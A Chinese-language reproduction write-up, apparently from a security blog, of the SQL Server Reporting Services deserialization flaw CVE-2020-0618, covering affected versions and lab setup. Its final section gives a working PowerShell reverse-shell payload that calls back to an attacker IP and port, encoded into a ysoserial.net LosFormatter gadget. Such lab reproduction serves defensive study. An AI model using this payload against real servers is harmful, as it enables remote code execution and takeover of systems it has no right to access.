0x00简介

2月12日，微软发布安全更新披露了Microsoft SQL Server Reporting Services 远程代码执行漏洞（CVE-2020-0618）。SQL Server 是Microsoft 开发的一个关系数据库管理系统(RDBMS)，是现在世界上广泛使用的数据库之一。

image

<figcaption data-action="image_caption" class="opt" contenteditable="true" style="display: inline-block; position: relative; min-width: 20%; max-width: 686px; margin: 8px 0px 0px; padding: 0px 0px 5px 14px; border-bottom: 1px solid rgb(230, 230, 230); font-size: 12px; line-height: 20px; color: rgb(128, 128, 128); word-break: break-all; text-align: left;">点击此处添加图片说明文字</figcaption>

0x01漏洞简介

获得低权限的攻击者向受影响版本的SQL Server的Reporting Services实例发送精心构造的请求，可利用此漏洞在报表服务器服务帐户的上下文中执行任意代码。

0x02影响版本

SQL Server 2012 for 32-bit Systems Service Pack 4 (QFE)

SQL Server 2012 for x64-based Systems Service Pack 4 (QFE)

SQL Server 2014 Service Pack 3 for 32-bit Systems (CU)

SQL Server 2014 Service Pack 3 for 32-bit Systems (GDR)

SQL Server 2014 Service Pack 3 for x64-based Systems (CU)

SQL Server 2014 Service Pack 3 for x64-based Systems (GDR)

SQL Server 2016 for x64-based Systems Service Pack 1

SQL Server 2016 for x64-based Systems Service Pack 2 (CU)

SQL Server 2016 for x64-based Systems Service Pack 2 (GDR)

0x03环境搭建

下载安装windows server2016标准版standard

image

下载地址：

下载安装Sql Server 2016数据库

选择全新安装sqlserver

image

一直下一步到功能选择勾上"数据库引擎服务"和"Reporting Services"服务。

image

在”数据库引擎配置”选择混合模式创建账号账号:sa 密码:123456便于后面连接报表服务器。

image

访问 http://localhost/ReportS，创建分页报表，提示需要安装报表服务器。

image

下载报表生成器，安装好报表服务器后，新建一个报表

image

此时就用到了我们前面设置的账号密码 sa/123456

image

然后把左侧字段拉到右测即可

image

到了这里报表就创建好了

image

保存一下，然后点击运行

image

在浏览器访问漏洞路径：

http://localhost/ReportServer/Pages/ReportViewer.aspx

image

0x04漏洞复现

下载POC编译工具

下载地址：https://github.com/incredibleindishell/ysoserial.net-complied

2.使用powershell打开ysoserial.exe工具生成有效负载，执行完最后一步的时候payload已经存在于剪切板。

1. $command = '$ client = New-Object System.Net.Sockets.TCPClient("nc反弹的ip",监听的端口); $stream =$ client.GetStream();[byte[]] $bytes = 0..65535|%{0};while(($ i = $stream.Read($ bytes, 0, $bytes.Length)) -ne 0){;$ data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString( $bytes,0,$ i); $sendback = (iex$ data 2>&1 | Out-String ); $sendback2 =$ sendback + "PS " + (pwd).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($ sendback2); $stream.Write($ sendbyte,0, $sendbyte.Length);$ stream.Flush()};$client.Close()'

$bytes = [System.Text.Encoding]::Unicode.GetBytes($ command)
$encodedCommand = [Convert]::ToBase64String($ bytes)
.\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell.exe -encodedCommand $encodedCommand" -o base64 | clip